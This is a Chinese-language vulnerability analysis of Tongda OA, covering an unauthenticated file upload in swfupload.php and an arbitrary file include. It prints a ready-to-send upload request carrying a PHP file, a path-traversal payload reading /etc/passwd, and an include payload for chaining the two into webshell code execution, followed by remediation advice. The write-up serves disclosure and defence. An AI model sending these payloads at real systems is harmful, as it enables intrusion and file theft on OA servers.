通达OA文件上传+任意文件包含漏洞分析
字数 929 2025-08-25 22:58:20
通达OA文件上传+任意文件包含漏洞分析
漏洞概述
通达OA系统存在两处安全漏洞:
- 未授权文件上传漏洞(general/file_folder/swfupload.php)
- 任意文件包含漏洞
这两个漏洞可被攻击者组合利用,实现远程代码执行。
文件上传漏洞分析
漏洞位置
general/file_folder/swfupload.php
漏洞成因
- 未授权访问:该文件未对用户权限进行校验
- 变量覆盖:通过
extract($_POST)实现变量覆盖 - 文件上传逻辑缺陷:上传文件后会将文件信息写入数据库并保存到本地文件
关键代码分析
// 变量覆盖漏洞
extract($_POST);
// 文件上传处理
if (is_uploaded_file($_FILES["Filedata"]["tmp_name"])) {
// 文件上传逻辑...
$query = "insert into FILE_CONTENT(...) values (...)";
exequery(TD::conn(), $query);
// 将SQL语句写入文件
if ($SORT_ID == "0") {
file_put_contents("aa.txt", $query);
} else {
file_put_contents("bb.txt", $query);
}
}
漏洞利用条件
- 能够发送POST请求
- 上传的文件大小不超过系统限制
漏洞利用步骤
- 构造文件上传表单:
POST /general/file_folder/swfupload.php HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxxx
------WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="SORT_ID"
1
------WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
------WebKitFormBoundaryxxxx--
-
上传成功后,文件路径可通过以下方式获取:
- 访问
bb.txt获取SQL语句 - 从SQL语句中提取文件路径信息
- 访问
-
上传后的文件路径格式:
/general/../../attach/file_folder/2003/xxx.xxxx.xxx
注入点分析
$SORT_ID参数可控,可能导致SQL注入:
$query = "insert into FILE_CONTENT(SORT_ID,...) values ($SORT_ID,...)";
但由于inc/common.inc.php中的安全检查,实际利用受限。
任意文件包含漏洞分析
漏洞位置
任意可访问的PHP文件(通过JSON参数控制)
漏洞成因
- 未对
$url参数进行严格过滤 - 文件包含逻辑存在缺陷
关键代码分析
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
if ($url != "") {
if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
}
if ((strpos($url, "general/") !== false) ||
(strpos($url, "ispirit/") !== false) ||
(strpos($url, "module/") !== false)) {
include_once $url;
}
}
}
漏洞利用条件
- 能够发送包含JSON参数的请求
- 知道服务器上存在的文件路径
漏洞利用步骤
- 构造包含恶意JSON的请求:
POST /vulnerable.php HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
json={"url":"general/../../../../etc/passwd"}
- 结合文件上传漏洞,可实现代码执行:
json={"url":"general/../../attach/file_folder/2003/uploaded_file.php"}
漏洞组合利用
- 利用文件上传漏洞上传Webshell
- 利用文件包含漏洞包含上传的Webshell
- 实现远程代码执行
修复建议
- 对文件上传功能添加权限验证
- 禁用
extract()函数或严格过滤输入 - 对文件包含功能添加严格的白名单限制
- 更新到最新版本的通达OA系统
参考链接
- https://forum.90sec.com/t/topic/883
总结
通达OA系统的这两个漏洞可被组合利用,形成完整的攻击链。文件上传漏洞提供了攻击入口,而文件包含漏洞则扩大了攻击影响。开发人员应重视此类安全问题,在代码中实施严格的安全检查机制。